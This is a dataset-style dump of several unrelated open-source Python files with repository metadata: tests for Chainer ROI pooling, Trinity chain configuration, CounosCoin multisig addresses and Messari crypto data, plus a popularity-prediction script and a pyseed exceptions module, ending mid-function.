] | null | null | null | tests/chainer_tests/functions_tests/pooling_tests/test_roi_pooling_2d.py | takeratta/chainer | 02686e98cd6dc8f20979a1f3a79130f076cbfc6c | [
"MIT"
] | 1 | 2022-02-20T10:32:59.000Z | 2022-02-20T10:32:59.000Z | import unittest
import numpy
import chainer
from chainer import cuda
from chainer import functions
from chainer import gradient_check
from chainer import testing
from chainer.testing import attr
class TestROIPooling2D(unittest.TestCase):
def setUp(self):
N = 3
n_channels = 3
self.x = numpy.arange(
N * n_channels * 12 * 8,
dtype=numpy.float32).reshape((N, n_channels, 12, 8))
numpy.random.shuffle(self.x)
self.x = 2 * self.x / self.x.size - 1
self.rois = numpy.array([
[0, 1, 1, 6, 6],
[2, 6, 2, 7, 11],
[1, 3, 1, 5, 10],
[0, 3, 3, 3, 3]
], dtype=numpy.float32)
n_rois = self.rois.shape[0]
self.outh, self.outw = 5, 7
self.spatial_scale = 0.6
self.gy = numpy.random.uniform(
-1, 1, (n_rois, n_channels,
self.outh, self.outw)).astype(numpy.float32)
self.check_backward_options = {'atol': 1e-3, 'rtol': 1e-2}
def check_forward(self, x_data, roi_data):
x = chainer.Variable(x_data)
rois = chainer.Variable(roi_data)
y = functions.roi_pooling_2d(
x, rois, outh=self.outh, outw=self.outw,
spatial_scale=self.spatial_scale)
self.assertEqual(y.data.dtype, numpy.float32)
y_data = cuda.to_cpu(y.data)
self.assertEqual(self.gy.shape, y_data.shape)
def test_forward_cpu(self):
self.check_forward(self.x, self.rois)
@attr.gpu
def test_forward_gpu(self):
self.check_forward(cuda.to_gpu(self.x), cuda.to_gpu(self.rois))
@attr.gpu
def test_forward_cpu_gpu_equal(self):
# cpu
x_cpu = chainer.Variable(self.x)
rois_cpu = chainer.Variable(self.rois)
y_cpu = functions.roi_pooling_2d(
x_cpu, rois_cpu, outh=self.outh, outw=self.outw,
spatial_scale=self.spatial_scale)
# gpu
x_gpu = chainer.Variable(cuda.to_gpu(self.x))
rois_gpu = chainer.Variable(cuda.to_gpu(self.rois))
y_gpu = functions.roi_pooling_2d(
x_gpu, rois_gpu, outh=self.outh, outw=self.outw,
spatial_scale=self.spatial_scale)
testing.assert_allclose(y_cpu.data, cuda.to_cpu(y_gpu.data))
def check_backward(self, x_data, roi_data, y_grad):
gradient_check.check_backward(
functions.ROIPooling2D(outh=self.outh,
outw=self.outw,
spatial_scale=self.spatial_scale),
(x_data, roi_data), y_grad, no_grads=[False, True],
**self.check_backward_options)
def test_backward_cpu(self):
self.check_backward(self.x, self.rois, self.gy)
@attr.gpu
def test_backward_gpu(self):
self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.rois),
cuda.to_gpu(self.gy))
testing.run_module(__name__, __file__)
| 32.855556 | 72 | 0.602976 | import unittest
import numpy
import chainer
from chainer import cuda
from chainer import functions
from chainer import gradient_check
from chainer import testing
from chainer.testing import attr
class TestROIPooling2D(unittest.TestCase):
def setUp(self):
N = 3
n_channels = 3
self.x = numpy.arange(
N * n_channels * 12 * 8,
dtype=numpy.float32).reshape((N, n_channels, 12, 8))
numpy.random.shuffle(self.x)
self.x = 2 * self.x / self.x.size - 1
self.rois = numpy.array([
[0, 1, 1, 6, 6],
[2, 6, 2, 7, 11],
[1, 3, 1, 5, 10],
[0, 3, 3, 3, 3]
], dtype=numpy.float32)
n_rois = self.rois.shape[0]
self.outh, self.outw = 5, 7
self.spatial_scale = 0.6
self.gy = numpy.random.uniform(
-1, 1, (n_rois, n_channels,
self.outh, self.outw)).astype(numpy.float32)
self.check_backward_options = {'atol': 1e-3, 'rtol': 1e-2}
def check_forward(self, x_data, roi_data):
x = chainer.Variable(x_data)
rois = chainer.Variable(roi_data)
y = functions.roi_pooling_2d(
x, rois, outh=self.outh, outw=self.outw,
spatial_scale=self.spatial_scale)
self.assertEqual(y.data.dtype, numpy.float32)
y_data = cuda.to_cpu(y.data)
self.assertEqual(self.gy.shape, y_data.shape)
def test_forward_cpu(self):
self.check_forward(self.x, self.rois)
@attr.gpu
def test_forward_gpu(self):
self.check_forward(cuda.to_gpu(self.x), cuda.to_gpu(self.rois))
@attr.gpu
def test_forward_cpu_gpu_equal(self):
x_cpu = chainer.Variable(self.x)
rois_cpu = chainer.Variable(self.rois)
y_cpu = functions.roi_pooling_2d(
x_cpu, rois_cpu, outh=self.outh, outw=self.outw,
spatial_scale=self.spatial_scale)
x_gpu = chainer.Variable(cuda.to_gpu(self.x))
rois_gpu = chainer.Variable(cuda.to_gpu(self.rois))
y_gpu = functions.roi_pooling_2d(
x_gpu, rois_gpu, outh=self.outh, outw=self.outw,
spatial_scale=self.spatial_scale)
testing.assert_allclose(y_cpu.data, cuda.to_cpu(y_gpu.data))
def check_backward(self, x_data, roi_data, y_grad):
gradient_check.check_backward(
functions.ROIPooling2D(outh=self.outh,
outw=self.outw,
spatial_scale=self.spatial_scale),
(x_data, roi_data), y_grad, no_grads=[False, True],
**self.check_backward_options)
def test_backward_cpu(self):
self.check_backward(self.x, self.rois, self.gy)
@attr.gpu
def test_backward_gpu(self):
self.check_backward(cuda.to_gpu(self.x), cuda.to_gpu(self.rois),
cuda.to_gpu(self.gy))
testing.run_module(__name__, __file__)
| true | true |
f73c35f7768a015a0e1bb5ff894cd20f4e7002bc | 1,889 | py | Python | tests/trinity/core/chains-utils/test_chain_config_object.py | theresume/py-evm | c7f982e9832ea91312f456cfdd5be7c867853d0b | [
"MIT"
] | 2 | 2018-05-03T03:02:36.000Z | 2018-05-03T03:02:39.000Z | tests/trinity/core/chains-utils/test_chain_config_object.py | theresume/py-evm | c7f982e9832ea91312f456cfdd5be7c867853d0b | [
"MIT"
] | 4 | 2018-12-07T21:32:48.000Z | 2019-02-22T15:25:01.000Z | tests/trinity/core/chains-utils/test_chain_config_object.py | theresume/py-evm | c7f982e9832ea91312f456cfdd5be7c867853d0b | [
"MIT"
] | null | null | null | import pytest
from eth_utils import (
decode_hex,
)
from eth_keys import keys
from trinity.utils.chains import (
get_local_data_dir,
get_database_dir,
get_nodekey_path,
ChainConfig,
)
from trinity.utils.filesystem import (
is_same_path,
)
def test_chain_config_computed_properties():
data_dir = get_local_data_dir('muffin')
chain_config = ChainConfig(network_id=1234, data_dir=data_dir)
assert chain_config.network_id == 1234
assert chain_config.data_dir == data_dir
assert chain_config.database_dir == get_database_dir(data_dir)
assert chain_config.nodekey_path == get_nodekey_path(data_dir)
def test_chain_config_explicit_properties():
chain_config = ChainConfig(
network_id=1,
data_dir='./data-dir',
nodekey_path='./nodekey'
)
assert is_same_path(chain_config.data_dir, './data-dir')
assert is_same_path(chain_config.nodekey_path, './nodekey')
NODEKEY = '0xd18445cc77139cd8e09110e99c9384f0601bd2dfa5b230cda917df7e56b69949'
@pytest.fixture
def nodekey_bytes():
_nodekey_bytes = decode_hex(NODEKEY)
return _nodekey_bytes
@pytest.fixture
def nodekey_path(tmpdir, nodekey_bytes):
nodekey_file = tmpdir.mkdir('temp-nodekey-dir').join('nodekey')
nodekey_file.write_binary(nodekey_bytes)
return str(nodekey_file)
def test_chain_config_nodekey_loading(nodekey_bytes, nodekey_path):
chain_config = ChainConfig(
network_id=1,
nodekey_path=nodekey_path,
)
assert chain_config.nodekey.to_bytes() == nodekey_bytes
@pytest.mark.parametrize('as_bytes', (True, False))
def test_chain_config_explictely_provided_nodekey(nodekey_bytes, as_bytes):
chain_config = ChainConfig(
network_id=1,
nodekey=nodekey_bytes if as_bytes else keys.PrivateKey(nodekey_bytes),
)
assert chain_config.nodekey.to_bytes() == nodekey_bytes
| 25.186667 | 78 | 0.749603 | import pytest
from eth_utils import (
decode_hex,
)
from eth_keys import keys
from trinity.utils.chains import (
get_local_data_dir,
get_database_dir,
get_nodekey_path,
ChainConfig,
)
from trinity.utils.filesystem import (
is_same_path,
)
def test_chain_config_computed_properties():
data_dir = get_local_data_dir('muffin')
chain_config = ChainConfig(network_id=1234, data_dir=data_dir)
assert chain_config.network_id == 1234
assert chain_config.data_dir == data_dir
assert chain_config.database_dir == get_database_dir(data_dir)
assert chain_config.nodekey_path == get_nodekey_path(data_dir)
def test_chain_config_explicit_properties():
chain_config = ChainConfig(
network_id=1,
data_dir='./data-dir',
nodekey_path='./nodekey'
)
assert is_same_path(chain_config.data_dir, './data-dir')
assert is_same_path(chain_config.nodekey_path, './nodekey')
NODEKEY = '0xd18445cc77139cd8e09110e99c9384f0601bd2dfa5b230cda917df7e56b69949'
@pytest.fixture
def nodekey_bytes():
_nodekey_bytes = decode_hex(NODEKEY)
return _nodekey_bytes
@pytest.fixture
def nodekey_path(tmpdir, nodekey_bytes):
nodekey_file = tmpdir.mkdir('temp-nodekey-dir').join('nodekey')
nodekey_file.write_binary(nodekey_bytes)
return str(nodekey_file)
def test_chain_config_nodekey_loading(nodekey_bytes, nodekey_path):
chain_config = ChainConfig(
network_id=1,
nodekey_path=nodekey_path,
)
assert chain_config.nodekey.to_bytes() == nodekey_bytes
@pytest.mark.parametrize('as_bytes', (True, False))
def test_chain_config_explictely_provided_nodekey(nodekey_bytes, as_bytes):
chain_config = ChainConfig(
network_id=1,
nodekey=nodekey_bytes if as_bytes else keys.PrivateKey(nodekey_bytes),
)
assert chain_config.nodekey.to_bytes() == nodekey_bytes
| true | true |
f73c36a9e617dd10e21800879e5f188acdb69937 | 4,355 | py | Python | src/POPULARITY_MODULE/popularity_predictor.py | cristinalunaj/WI-IAT20_PopularityModule | 0a4894e2b889bf31ea1a8beab3025d5dd0b1ed47 | [
"MIT"
] | null | null | null | src/POPULARITY_MODULE/popularity_predictor.py | cristinalunaj/WI-IAT20_PopularityModule | 0a4894e2b889bf31ea1a8beab3025d5dd0b1ed47 | [
"MIT"
] | null | null | null | src/POPULARITY_MODULE/popularity_predictor.py | cristinalunaj/WI-IAT20_PopularityModule | 0a4894e2b889bf31ea1a8beab3025d5dd0b1ed47 | [
"MIT"
] | null | null | null | import pandas as pd
import subprocess, os
import src.utils.loader as loader
def create_test_arff(participant, test_df, aux_path):
arff_text = "@relation summary_features \n\n" \
"@attribute n_faces numeric\n" \
"@attribute avg_confidence_faces numeric\n" \
"@attribute std_confidence_faces numeric\n" \
"@attribute avg_relativeSize_faces numeric\n" \
"@attribute std_relativeSize_faces numeric\n" \
"@attribute avg_thirdRule_x numeric\n" \
"@attribute std_thirdRule_x numeric\n" \
"@attribute avg_thirdRule_y numeric\n" \
"@attribute std_thirdRule_y numeric\n" \
"@attribute num_clts numeric\n" \
"@attribute avg_silhouette numeric\n" \
"@attribute avg_intra_clt_dist numeric\n" \
"@attribute avg_inter_clt_dist numeric\n" \
"@attribute faces_in_noise_clt numeric\n" \
"@attribute num_core_samples numeric\n" \
"@attribute avg_imgs_clt numeric\n" \
"@attribute avg_std_silhouette numeric\n" \
"@attribute avg_std_intra_clt_dist numeric\n" \
"@attribute avg_std_inter_clt_dist numeric\n" \
"@attribute avg_n_core_samples numeric\n" \
"@attribute std_n_core_samples numeric\n" \
"@attribute GTrends_popularity numeric\n" \
"@attribute label {1,0}\n\n" \
"@data\n"
data = test_df.loc[test_df["id"]==participant]
data = data.drop(columns="id")
data_str = ""
for ele in data.values[0]:
data_str += str(ele)+","
data_str = data_str[0:-3]
arff_text+=data_str
print(arff_text)
f = open(aux_path, "w")
f.write(arff_text)
def evaluate_test_arff(model_path, test_arff_path, out_path):
"""
Obtain predictions of test_file using the trained model in model_path
:param output_folder:
:param output_name:
:param model_path:
:param test_file:
"""
# PREDICTIONS FILE HEADERS: INSTANCE, ACTUAL, PREDICTED, ERROR
bash_file_path = "../../data/bash_scripts/explorer_test_model.sh "
with open(out_path, 'w') as fi:
fi.close()
command = "".join([bash_file_path, test_arff_path, " ", model_path, " ", out_path])
print(command)
subprocess.call(command, shell=True)
remove_lines(out_path) # remove headers of prediction file
df_participant = pd.read_csv(out_path, header=0, sep=",")
return df_participant
def remove_lines(path_csv):
with open(path_csv, 'r') as fin:
data = fin.read().splitlines(True)
with open(path_csv, 'w') as fout:
fout.writelines(data[4:]) #en 4 las cabeceras
fout.close()
if __name__ == "__main__":
th = "05"
path_model = "../../data/models/popularity_module/CLASIF/th"+th+"/RandomForest.model"
complete_df_ids = "../../data/datasets/popularity_module_features/train/summary_features_participants_classification_th"+th+".csv"
aux_path = "../../data/datasets/popularity_module_features/aux_test.arff"
out_path_prediction = "../../data/datasets/popularity_module_features/aux_prediction.csv"
complete_df = pd.read_csv(complete_df_ids, header=0, sep=",")
bash_test_model = ""
path_participants = "../../data/datasets/DATASET_GOOGLE_IMGS/participants/"
list_participants = loader.load_list_of_tertulianos(path_participants, "participants_complete_rtve2018",".csv")
#list_participants = [participant.replace(" ", "_") for participant in part]
df_popularity = pd.DataFrame([], columns=["prediction", "popular", "id"])
out_path_popularity_df = "../../data/results/popularity_models_output/popularity_df_th"+th+".csv"
for participant in list_participants:
participant = participant.replace("_", " ")
create_test_arff(participant, complete_df, aux_path)
df_participant = evaluate_test_arff(path_model, aux_path, out_path_prediction)
df_popularity = df_popularity.append(pd.DataFrame([[df_participant["predicted"][0].split(":")[-1], df_participant["predicted"][0].split(":")[-1]=="1", participant
]], columns=["prediction", "popular", "id"]))
df_popularity.to_csv(out_path_popularity_df, sep=";", header=True, index=False)
| 45.364583 | 170 | 0.653961 | import pandas as pd
import subprocess, os
import src.utils.loader as loader
def create_test_arff(participant, test_df, aux_path):
arff_text = "@relation summary_features \n\n" \
"@attribute n_faces numeric\n" \
"@attribute avg_confidence_faces numeric\n" \
"@attribute std_confidence_faces numeric\n" \
"@attribute avg_relativeSize_faces numeric\n" \
"@attribute std_relativeSize_faces numeric\n" \
"@attribute avg_thirdRule_x numeric\n" \
"@attribute std_thirdRule_x numeric\n" \
"@attribute avg_thirdRule_y numeric\n" \
"@attribute std_thirdRule_y numeric\n" \
"@attribute num_clts numeric\n" \
"@attribute avg_silhouette numeric\n" \
"@attribute avg_intra_clt_dist numeric\n" \
"@attribute avg_inter_clt_dist numeric\n" \
"@attribute faces_in_noise_clt numeric\n" \
"@attribute num_core_samples numeric\n" \
"@attribute avg_imgs_clt numeric\n" \
"@attribute avg_std_silhouette numeric\n" \
"@attribute avg_std_intra_clt_dist numeric\n" \
"@attribute avg_std_inter_clt_dist numeric\n" \
"@attribute avg_n_core_samples numeric\n" \
"@attribute std_n_core_samples numeric\n" \
"@attribute GTrends_popularity numeric\n" \
"@attribute label {1,0}\n\n" \
"@data\n"
data = test_df.loc[test_df["id"]==participant]
data = data.drop(columns="id")
data_str = ""
for ele in data.values[0]:
data_str += str(ele)+","
data_str = data_str[0:-3]
arff_text+=data_str
print(arff_text)
f = open(aux_path, "w")
f.write(arff_text)
def evaluate_test_arff(model_path, test_arff_path, out_path):
bash_file_path = "../../data/bash_scripts/explorer_test_model.sh "
with open(out_path, 'w') as fi:
fi.close()
command = "".join([bash_file_path, test_arff_path, " ", model_path, " ", out_path])
print(command)
subprocess.call(command, shell=True)
remove_lines(out_path)
df_participant = pd.read_csv(out_path, header=0, sep=",")
return df_participant
def remove_lines(path_csv):
with open(path_csv, 'r') as fin:
data = fin.read().splitlines(True)
with open(path_csv, 'w') as fout:
fout.writelines(data[4:])
fout.close()
if __name__ == "__main__":
th = "05"
path_model = "../../data/models/popularity_module/CLASIF/th"+th+"/RandomForest.model"
complete_df_ids = "../../data/datasets/popularity_module_features/train/summary_features_participants_classification_th"+th+".csv"
aux_path = "../../data/datasets/popularity_module_features/aux_test.arff"
out_path_prediction = "../../data/datasets/popularity_module_features/aux_prediction.csv"
complete_df = pd.read_csv(complete_df_ids, header=0, sep=",")
bash_test_model = ""
path_participants = "../../data/datasets/DATASET_GOOGLE_IMGS/participants/"
list_participants = loader.load_list_of_tertulianos(path_participants, "participants_complete_rtve2018",".csv")
df_popularity = pd.DataFrame([], columns=["prediction", "popular", "id"])
out_path_popularity_df = "../../data/results/popularity_models_output/popularity_df_th"+th+".csv"
for participant in list_participants:
participant = participant.replace("_", " ")
create_test_arff(participant, complete_df, aux_path)
df_participant = evaluate_test_arff(path_model, aux_path, out_path_prediction)
df_popularity = df_popularity.append(pd.DataFrame([[df_participant["predicted"][0].split(":")[-1], df_participant["predicted"][0].split(":")[-1]=="1", participant
]], columns=["prediction", "popular", "id"]))
df_popularity.to_csv(out_path_popularity_df, sep=";", header=True, index=False)
| true | true |
f73c385a178dac7d3b5f43de0fbbe519e8d4bbb0 | 4,079 | py | Python | qa/rpc-tests/test_script_address2.py | counos/bitcore-counoscoin | 4951414317b302f358ddbaf10bbb98a966f90bff | [
"MIT"
] | null | null | null | qa/rpc-tests/test_script_address2.py | counos/bitcore-counoscoin | 4951414317b302f358ddbaf10bbb98a966f90bff | [
"MIT"
] | null | null | null | qa/rpc-tests/test_script_address2.py | counos/bitcore-counoscoin | 4951414317b302f358ddbaf10bbb98a966f90bff | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# Copyright (c) 2015-2016 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
#
# Test new CounosCoin multisig prefix functionality.
#
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
import decimal
class ScriptAddress2Test(BitcoinTestFramework):
def __init__(self):
super().__init__()
self.num_nodes = 3
self.setup_clean_chain = False
def setup_network(self):
self.nodes = []
self.nodes.append(start_node(0, self.options.tmpdir, []))
self.nodes.append(start_node(1, self.options.tmpdir, []))
self.nodes.append(start_node(2, self.options.tmpdir, []))
connect_nodes(self.nodes[1], 0)
connect_nodes(self.nodes[2], 0)
self.is_network_split = False
self.sync_all()
def run_test(self):
cnt = self.nodes[0].getblockcount()
# Mine some blocks
self.nodes[1].generate(100)
self.sync_all()
if (self.nodes[0].getblockcount() != cnt + 100):
raise AssertionError("Failed to mine 100 blocks")
addr = self.nodes[0].getnewaddress()
addr2 = self.nodes[0].getnewaddress()
multisig_addr = self.nodes[0].addmultisigaddress(2, [addr, addr2], "multisigaccount")
assert_equal(multisig_addr[0], 'Q')
# Send to a new multisig address
txid = self.nodes[1].sendtoaddress(multisig_addr, 1)
block = self.nodes[1].generate(3)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr in dest_addrs)
# Spend from the new multisig address
addr3 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount", addr3, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr3)
# Send to an old multisig address. The api addmultisigaddress
# can only generate a new address so we manually compute
# multisig_addr_old beforehand using an old client.
priv_keys = ["cU7eeLPKzXeKMeZvnEJhvZZ3tLqVF3XGeo1BbM8dnbmV7pP3Qg89",
"cTw7mRhSvTfzqCt6MFgBoTBqwBpYu2rWugisXcwjv4cAASh3iqPt"]
addrs = ["mj6gNGRXPXrD69R5ApjcsDerZGrYKSfb6v",
"mqET4JA3L7P7FoUjUP3F6m6YsLpCkyzzou"]
self.nodes[0].importprivkey(priv_keys[0])
self.nodes[0].importprivkey(priv_keys[1])
multisig_addr_new = self.nodes[0].addmultisigaddress(2, addrs, "multisigaccount2")
assert_equal(multisig_addr_new, "QZ974ZrPrmqMmm1PSVp4m8YEgo3bCQZBbe")
multisig_addr_old = "2N5nLwYz9qfnGdaFLpPn3gS6oYQbmLTWPjq"
## Let's send to the old address. We can then find it in the
## new address with the new client. So basically the old
## address and the new one are the same thing.
txid = self.nodes[1].sendtoaddress(multisig_addr_old, 1)
block = self.nodes[1].generate(1)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr_new in dest_addrs)
assert(multisig_addr_old not in dest_addrs)
# Spend from the new multisig address
addr4 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount2", addr4, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount2", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr4)
if __name__ == '__main__':
ScriptAddress2Test().main()
| 40.386139 | 93 | 0.649669 |
from test_framework.test_framework import BitcoinTestFramework
from test_framework.util import *
import decimal
class ScriptAddress2Test(BitcoinTestFramework):
def __init__(self):
super().__init__()
self.num_nodes = 3
self.setup_clean_chain = False
def setup_network(self):
self.nodes = []
self.nodes.append(start_node(0, self.options.tmpdir, []))
self.nodes.append(start_node(1, self.options.tmpdir, []))
self.nodes.append(start_node(2, self.options.tmpdir, []))
connect_nodes(self.nodes[1], 0)
connect_nodes(self.nodes[2], 0)
self.is_network_split = False
self.sync_all()
def run_test(self):
cnt = self.nodes[0].getblockcount()
self.nodes[1].generate(100)
self.sync_all()
if (self.nodes[0].getblockcount() != cnt + 100):
raise AssertionError("Failed to mine 100 blocks")
addr = self.nodes[0].getnewaddress()
addr2 = self.nodes[0].getnewaddress()
multisig_addr = self.nodes[0].addmultisigaddress(2, [addr, addr2], "multisigaccount")
assert_equal(multisig_addr[0], 'Q')
txid = self.nodes[1].sendtoaddress(multisig_addr, 1)
block = self.nodes[1].generate(3)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr in dest_addrs)
addr3 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount", addr3, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr3)
priv_keys = ["cU7eeLPKzXeKMeZvnEJhvZZ3tLqVF3XGeo1BbM8dnbmV7pP3Qg89",
"cTw7mRhSvTfzqCt6MFgBoTBqwBpYu2rWugisXcwjv4cAASh3iqPt"]
addrs = ["mj6gNGRXPXrD69R5ApjcsDerZGrYKSfb6v",
"mqET4JA3L7P7FoUjUP3F6m6YsLpCkyzzou"]
self.nodes[0].importprivkey(priv_keys[0])
self.nodes[0].importprivkey(priv_keys[1])
multisig_addr_new = self.nodes[0].addmultisigaddress(2, addrs, "multisigaccount2")
assert_equal(multisig_addr_new, "QZ974ZrPrmqMmm1PSVp4m8YEgo3bCQZBbe")
multisig_addr_old = "2N5nLwYz9qfnGdaFLpPn3gS6oYQbmLTWPjq"
he old
## address and the new one are the same thing.
txid = self.nodes[1].sendtoaddress(multisig_addr_old, 1)
block = self.nodes[1].generate(1)
self.sync_all()
tx = self.nodes[2].getrawtransaction(txid, 1)
dest_addrs = [tx["vout"][0]['scriptPubKey']['addresses'][0],
tx["vout"][1]['scriptPubKey']['addresses'][0]]
assert(multisig_addr_new in dest_addrs)
assert(multisig_addr_old not in dest_addrs)
# Spend from the new multisig address
addr4 = self.nodes[1].getnewaddress()
txid = self.nodes[0].sendfrom("multisigaccount2", addr4, 0.8)
block = self.nodes[0].generate(2)
self.sync_all()
assert(self.nodes[0].getbalance("multisigaccount2", 1) < 0.2)
assert(self.nodes[1].listtransactions()[-1]['address'] == addr4)
if __name__ == '__main__':
ScriptAddress2Test().main()
| true | true |
f73c3b7095f0a7357b36a8790e6e733d9b2e6d20 | 2,012 | py | Python | pyseed/exceptions.py | SEED-platform/py-seed | 43839c3fed297a3e4b9a2d2a2082f32d32c821a3 | [
"MIT"
] | 1 | 2020-03-27T19:51:21.000Z | 2020-03-27T19:51:21.000Z | pyseed/exceptions.py | GreenBuildingRegistry/py-seed | 6052ae7e6b53121fcbcae0ff471f4eba4a5aa010 | [
"MIT"
] | 1 | 2020-11-03T19:00:24.000Z | 2020-11-03T19:00:24.000Z | pyseed/exceptions.py | SEED-platform/py-seed | 43839c3fed297a3e4b9a2d2a2082f32d32c821a3 | [
"MIT"
] | 1 | 2018-10-08T19:05:42.000Z | 2018-10-08T19:05:42.000Z | #!/usr/bin/env python
# encoding: utf-8
"""
copyright (c) 2016-2017 Earth Advantage.
All rights reserved
..codeauthor::Paul Munday <paul@paulmunday.net>
"""
# Setup
# Constants
# Data Structure Definitions
# Private Functions
# Public Classes and Functions
class APIClientError(Exception):
"""Indicates errors when calling an API"""
def __init__(self, error, service=None, url=None, caller=None,
verb=None, status_code=None, **kwargs):
self.error = error
self.service = service
self.url = url
self.caller = caller
self.verb = verb
self.status_code = status_code
args = (
error, service, url, caller, verb.upper() if verb else None,
status_code
)
self.kwargs = kwargs
super(APIClientError, self).__init__(*args)
def __str__(self):
msg = "{}: {}".format(self.__class__.__name__, self.error)
if self.service:
msg = "{}, calling service {}".format(msg, self.service)
if self.caller:
msg = "{} as {}".format(msg, self.caller)
if self.url:
msg = "{} with url {}".format(msg, self.url)
if self.verb:
msg = "{}, http method: {}".format(msg, self.verb.upper())
if self.kwargs:
arguments = ", ".join([
"{}={}".format(str(key), str(val))
for key, val in self.kwargs.items()
])
msg = "{} supplied with {}".format(msg, arguments)
if self.status_code:
msg = "{} http status code: {}".format(msg, self.status_code)
return msg
class SEEDError(APIClientError):
"""Indicates Error interacting with SEED API"""
def __init__(self, error, url=None, caller=None, verb=None,
status_code=None, **kwargs):
super(SEEDError, self).__init__(
error, service='SEED', url=url, caller=caller, verb=verb,
status_code=status_code, **kwargs
)
| 28.742857 | 73 | 0.570577 |
class APIClientError(Exception):
def __init__(self, error, service=None, url=None, caller=None,
verb=None, status_code=None, **kwargs):
self.error = error
self.service = service
self.url = url
self.caller = caller
self.verb = verb
self.status_code = status_code
args = (
error, service, url, caller, verb.upper() if verb else None,
status_code
)
self.kwargs = kwargs
super(APIClientError, self).__init__(*args)
def __str__(self):
msg = "{}: {}".format(self.__class__.__name__, self.error)
if self.service:
msg = "{}, calling service {}".format(msg, self.service)
if self.caller:
msg = "{} as {}".format(msg, self.caller)
if self.url:
msg = "{} with url {}".format(msg, self.url)
if self.verb:
msg = "{}, http method: {}".format(msg, self.verb.upper())
if self.kwargs:
arguments = ", ".join([
"{}={}".format(str(key), str(val))
for key, val in self.kwargs.items()
])
msg = "{} supplied with {}".format(msg, arguments)
if self.status_code:
msg = "{} http status code: {}".format(msg, self.status_code)
return msg
class SEEDError(APIClientError):
def __init__(self, error, url=None, caller=None, verb=None,
status_code=None, **kwargs):
super(SEEDError, self).__init__(
error, service='SEED', url=url, caller=caller, verb=verb,
status_code=status_code, **kwargs
)
| true | true |
f73c3bf90614176a2f73efde6e502f7300165fdf | 3,333 | py | Python | tests/openbb_terminal/cryptocurrency/due_diligence/test_messari_model.py | tehcoderer/GamestonkTerminal | 54a1b6f545a0016c576e9e00eef5c003d229dacf | [
"MIT"
] | 255 | 2022-03-29T16:43:51.000Z | 2022-03-31T23:57:08.000Z | tests/openbb_terminal/cryptocurrency/due_diligence/test_messari_model.py | tehcoderer/GamestonkTerminal | 54a1b6f545a0016c576e9e00eef5c003d229dacf | [
"MIT"
] | 14 | 2022-03-29T14:20:33.000Z | 2022-03-31T23:39:20.000Z | tests/openbb_terminal/cryptocurrency/due_diligence/test_messari_model.py | tehcoderer/GamestonkTerminal | 54a1b6f545a0016c576e9e00eef5c003d229dacf | [
"MIT"
] | 24 | 2022-03-29T15:28:56.000Z | 2022-03-31T23:54:15.000Z | # IMPORTATION STANDARD
# IMPORTATION THIRDPARTY
import pytest
# IMPORTATION INTERNAL
from openbb_terminal.cryptocurrency.due_diligence import messari_model
@pytest.fixture(scope="module")
def vcr_config():
return {
"filter_headers": [
("User-Agent", None),
("x-messari-api-key", "mock_x-messari-api-key"),
],
}
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin,interval,start,end",
[
("btc", "1d", "2022-01-10", "2022-03-08"),
],
)
def test_get_marketcap_dominance(coin, interval, start, end, recorder):
df = messari_model.get_marketcap_dominance(
coin=coin, interval=interval, start=start, end=end
)
recorder.capture(df)
@pytest.mark.vcr
def test_get_available_timeseries(recorder):
df = messari_model.get_available_timeseries()
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("aave"),
],
)
def test_get_coin_tokenomics(coin, recorder):
df = messari_model.get_coin_tokenomics(symbol=coin)
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_fundraising(coin, recorder):
(
summary,
df_sales_rounds,
df_treasury_accs,
df_details,
) = messari_model.get_fundraising(symbol=coin)
recorder.capture_list([summary, df_sales_rounds, df_treasury_accs, df_details])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_governance(coin, recorder):
summary, df = messari_model.get_governance(symbol=coin)
recorder.capture_list([summary, df])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_investors(coin, recorder):
df_individuals, df_organizations = messari_model.get_investors(symbol=coin)
recorder.capture_list([df_individuals, df_organizations])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_team(coin, recorder):
df_individuals, df_organizations = messari_model.get_team(symbol=coin)
recorder.capture_list([df_individuals, df_organizations])
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin",
[
("eth"),
],
)
def test_get_links(coin, recorder):
df = messari_model.get_links(symbol=coin)
recorder.capture(df)
@pytest.mark.vcr
@pytest.mark.parametrize(
"coin,interval,start,end,timeseries_id",
[
("btc", "1d", "2022-01-10", "2022-03-08", "sply.circ"),
],
)
def test_get_messari_timeseries(coin, interval, start, end, timeseries_id, recorder):
df, _ = messari_model.get_messari_timeseries(
coin=coin, interval=interval, start=start, end=end, timeseries_id=timeseries_id
